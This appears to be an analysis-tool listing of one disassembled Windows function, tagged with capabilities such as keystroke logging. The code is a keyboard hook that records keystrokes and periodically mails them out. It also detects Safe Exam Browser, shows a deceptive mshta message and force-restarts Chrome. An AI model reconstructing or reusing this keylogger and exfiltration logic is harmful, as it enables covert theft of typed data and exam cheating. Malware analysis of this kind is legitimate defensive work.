Function at 0x140002626
Capabilities:
Enumerate gui resources
Execute command
Get keyboard layout
Log keystrokes via polling
Terminate process

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov qword [rbp + 0x210], r8
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x200], 0
jne 0x140002c4e
cmp qword [rbp + 0x208], 0x100
je 0x140002683
cmp qword [rbp + 0x208], 0x104
jne 0x140002c4e
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1ae], 0
mov word [rbp + 0x1b6], 0
lea rax, [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
test ax, ax
jns 0x1400026d2
mov byte [rbp + 0xb0], pe_nt_image_headers64
mov ecx, 0x11
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
test ax, ax
jns 0x1400026ec
mov byte [rbp + 0xb1], pe_nt_image_headers64
mov ecx, 0x12
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
test ax, ax
jns 0x140002706
mov byte [rbp + 0xb2], pe_nt_image_headers64
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardLayout]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e8]
mov edx, dword [rax + 4]
mov rax, qword [rbp + 0x1e8]
mov eax, dword [rax]
lea r8, [rbp + 0x1ae]
lea rcx, [rbp + 0xa0]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, r8
mov r8, rcx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_ToUnicode]
call rax
test eax, eax
jle 0x14000276c
mov word [rbp + 0x1b0], 0
jmp 0x140002775
mov word [rbp + 0x1ae], 0xd8
lea rdx, [rbp + 0x1ae]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 5
lea rax, [rbp + 0x1a9]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov r8d, dword [0x140067068]
mov rax, qword [rbp + 0x1e8]
mov ecx, dword [rax]
cmp qword [rbp + 0x208], 0x100
jne 0x1400027e4
lea rax, str.pressed
jmp 0x1400027eb
lea rax, str.released
movzx edx, byte [rbp + 0x1a9]
movsx r10d, dl
lea rdx, [rbp + 0x1a9]
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
mov r9, rax
mov r8d, r10d
lea rax, str.Key:__s___c___s_Code:__d_Count:__d_n
mov rcx, rax
call dbg.printf
mov eax, dword [0x140067480]
cmp eax, 0x3fd
jg 0x14000285d
mov eax, dword [0x140067480]
lea edx, [rax + 1]
mov dword [0x140067480], edx
movzx edx, byte [rbp + 0x1a9]
cdqe
lea rcx, [0x140067080]
mov byte [rax + rcx], dl
mov eax, dword [0x140067480]
cdqe
lea rdx, [0x140067080]
mov byte [rax + rdx], 0
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov qword [rbp + 0x1d8], rax
mov rax, qword [0x140067048]
mov rdx, qword [rbp + 0x1d8]
sub rdx, rax
cmp rdx, 6
jle 0x140002a4e
mov eax, dword [section..data]
test eax, eax
jne 0x140002a4e
movabs rax, 0x642e726564616f6c
mov edx, 0x6c6c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov dword [rbp + 0x20], 0
movabs rax, 0x6c6c642e646f4d
mov edx, 0
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0x90], 0
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
lea r9, [0x1400674a0]
lea r8, [0x140063cf9]
mov edx, 0x64
mov rcx, rax
call dbg.snprintf
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x20], rdx
lea r9, [0x1400674a0]
lea r8, [0x140063cf9]
mov edx, 0x64
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, str.Header_File__s_n
mov rcx, rax
call dbg.printf
lea rax, [rbp + 0x30]
mov rdx, rax
lea rax, str.Body_File__s_n
mov rcx, rax
call dbg.printf
lea rax, [rbp + 0x30]
lea rdx, [0x140067080]
mov rcx, rax
call sym.writeStringToBinary
call sym.setHeader
lea rdx, [rbp + 0x30]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.AppendFile
call sym.sendMail
mov dword [0x140067480], 0
mov byte [0x140067080], 0
mov rax, qword [rbp + 0x1d8]
mov qword [0x140067048], rax
mov dword [section..data], 1
mov dword [section..data], 0
mov rax, qword [rbp + 0x1d8]
mov qword [0x140067048], rax
lea rax, str.SafeExamBrowser.exe
mov rcx, rax
call sym.isProcessRunning
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
jne 0x140002ad8
mov eax, dword [0x140067040]
cmp eax, 2
jne 0x140002a99
mov ecx, 0
call sym.exit
mov eax, dword [0x140067040]
add eax, 1
mov dword [0x140067040], eax
mov eax, dword [0x140067040]
mov edx, eax
lea rax, str.count_:_d_n
mov rcx, rax
call dbg.printf
lea rax, str.start_mshta_vbscript:Execute_MsgBox__Chrome_Assist_Closed_Successfully___vbSystemModal__Host_Process___window.close__
mov rcx, rax
call sym.system
mov ecx, 1
call sym.exit
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov qword [0x140067058], rax
movzx eax, byte [rbp + 0x1a9]
cmp al, 0x3b
jne 0x140002c01
mov eax, dword [0x140067068]
test eax, eax
je 0x140002b31
mov rdx, qword [0x140067058]
mov rax, qword [0x140067050]
sub rdx, rax
cmp rdx, 1
jle 0x140002b31
mov dword [0x140067068], 0
mov rax, qword [0x140067058]
mov qword [0x140067050], rax
mov eax, dword [0x140067068]
add eax, 1
mov dword [0x140067068], eax
mov eax, dword [0x140067068]
cmp eax, 5
jne 0x140002c4e
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.chrome.exe
mov rcx, rax
call sym.isProcessRunning
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
je 0x140002b89
mov eax, dword [0x140067490]
cmp dword [rbp + 0x1c4], eax
je 0x140002bc8
lea rax, str.taskkill__IM_chrome.exe__f
mov rcx, rax
call sym.runCommandHidden
call sym.getChromePath
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call sym.startProcess
mov dword [0x140067490], eax
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call sym.free
mov eax, dword [0x140067490]
mov eax, eax
mov rdx, rax
lea rax, [sym.EnumWindowsProc]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
lea rax, str.done
mov rcx, rax
call dbg.printf
mov dword [0x140067068], 0
jmp 0x140002c4e
mov rax, qword [rbp + 0x1e8]
mov eax, dword [rax]
cmp eax, 0x34
jne 0x140002c4e
lea rax, str.taskkill__IM_chrome.exe__f
mov rcx, rax
call sym.runCommandHidden
call sym.getChromePath
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.startProcess
mov dword [0x140067490], eax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.free
mov rax, qword [0x140067060]
mov r8, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x208]
mov edx, dword [rbp + 0x200]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x270
pop rbp
ret